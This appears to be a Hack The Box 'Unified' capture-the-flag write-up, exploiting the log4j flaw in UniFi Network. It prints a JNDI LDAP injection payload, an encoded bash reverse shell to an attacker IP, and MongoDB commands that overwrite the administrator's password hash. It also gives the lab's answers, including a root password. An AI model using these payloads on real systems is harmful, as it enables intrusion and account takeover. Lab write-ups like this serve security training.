Hack The Box: Starting Point - Unified (Tier 2)


Today a new machine was added to the starting point: “Unified”.


Unified

box arch

This box is tagged “Linux”, “Web” and “CVE”. To be exact, this one is vulnerable to the log4j vulnerability.

Enumeration

We start with the standard nmap-enumeration, top 1000 ports: sudo nmap -sC -sV 10.129.109.11.

box arch

We see four services: SSH on port 22, ibm-db2-admin on port 6789, a HTTP server on port 8080 and a tcp server on port 8443. Pointing the browser to https://10.129.109.11:8443 reveals a login page for “UniFi Network”, version 6.4.54:

box arch

Some quick google search reveals that this version is vulnerable to the infamous log4j vulnerability (CVE-2021-44228).

  • What ports are open? 22, 6789, 8080, 8443
  • Name of the software that is running on the highest port? UniFi Network
  • What is the version of the software that is running? 6.4.54
  • What is the CVE for the identified vulnerability? CVE-2021-44228

Initial Foothold

After a bit of online research, we can find a blog post1 and github repository, describing exactly the steps needed to exploit. First, we need to install Apache Maven on our local machine. Then clone the github repository and execute the commands as described:

$ sudo apt-get install maven
$ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

After maven installation, we can check the current version with mvn -v in order to answer to this question:

  • What is the version of Maven that we installed? 3.6.3

Next, we can try the proof of concept. We catch a login request in Burp and try to modify the payload in the “remember”-field as described: "remember":"${jndi:ldap://10.10.16.26/}". The reply we get back is “api.err.InvalidPayload”.

box arch

However, when we check the traffic on the ldap port 389, we can nevertheless see that the server is trying to connect back to us! (Intercepting the traffic is an idea that comes from the Walkthrough, I wouldn’t have thought of that..).

box arch

  • What protocol does JDNI leverage in the injection? ldap
  • What tool do we use to intercept the traffic, indicating the attack was successful? tcpdump
  • What port do we need to inspect intercepted traffic for? 389

So now we can start the actual attack. First of all, we build and start the LDAP server on port 1389 on our local machine. We pass an encoded reverse shell as parameter:

$ echo 'bash -c bash -i >&/dev/tcp/10.10.16.26/4444 0>&1' | base64                                                                                           1m 5s 14:51:51 
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxCg==  
$ java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.
10.16.26"                                                

The output looks like this:

box arch

Now we can start the netcat listener (sudo nc -lnvp 4444) and execute the command in Burp.

box arch

After a few seconds, we get a shell in netcat, although a very primitive one. I tried to get a proper tty with help of python, but python seems not installed. Instead, the Walkthrough gives the following hint, which worked:

script /dev/null -c bash

I didn’t know this possibility but it worked great.


Privilege Escalation

Next, we should try to gather more information about the system. Actually the Post Exploitation section in the Sprocketsecurity.com-Post describes the steps in detail, but since I didn’t read that far at first, it was quite difficult.

What the blog posts describes is the following steps:

  1. Identify the mongodb port and database
  2. Replace the administrator hash with a new one
  3. Log in as administrator, where you can do surprisingly powerful things in the admin panel.

Since I didn’t read the post at first, this is how I found the data: First I got the mongodb port from the unifi-config file in /usr/lib/unifi/data/system.properties:

box arch

Alternatively, you can also check the process with ps aux | grep mongo. Then I logged into the mongo shell with mongo --port 27117 and executed show dbs to list the databases.

box arch

Alternatively, I searched for the “default” unifi database, but not too successful. I only found a hint about it in the unifi documentation (here).

  • What port is the MongoDB service running on? 27117
  • What is the default database name for UniFi applications? ace

Now it gets really deep into MongoDB. Like already mentioned, the blogpost lays out the necessary commands very nicely. You can run the commands from the mongo console, but it seems more flexible to do it from bash using the --eval option. This is for user enumeration:

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

Alternatively, from within the mongo shell just type db.admin.find():

box arch


At the “administrator” entry, we can find a Sha-512 hash as indicated by the “$6$” prefix. I tried to crack it with various wordlists, but doesn’t seem to be a standard password:

hashcat -a 0 -m 1800 hash.txt /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt

So we can just follow the advice from the blogpost and simply issue a new password. First we create the hash of our favorite password (on our local machine):

$ mkpasswd -m sha-512 test123 
$6$6m3dGDkCuDQ.4esu$sSUPvc./hiFDYwMvt5dyoRXOuG3vf9FY2/2t7HG7HR9H.hbSaavW/Y/xFthed2hJfy4MLxUqYAq8aKYLJlMl..

And then we overwrite the entry with the update method. It takes two arguments: First the unique identifier of the Object to be updated, and then the new value with $set. The MongoDB syntax is very similar to JSON, as can be seen below:

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")}, {$set:{"x_shadow":"$6$6m3dGDkCuDQ.4esu$sSUPvc./hiFDYwMvt5dyoRXOuG3vf9FY2/2t7HG7HR9H.hbSaavW/Y/xFthed2hJfy4MLxUqYAq8aKYLJlMl.."}})'

If there are no typing mistakes, the result should look like this:

WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })  
  • What is the function we use to enumerate users within the database in MongoDB? db.admin.find()
  • What is the function to add data to the database in MongoDB? db.admin.insert()
  • What is the function we use to update users within the database in MongoDB? db.admin.update()

After that we can log in as administrator with the new password. Within the panel, we can find a lot of information - for example, SSH keys or password for remote login as root.

box arch

  • What is the password for the root user? NotACrackablePassword4U2022
  • Submit user flag - Try by yourself!
  • Submit root flag - Try by yourself!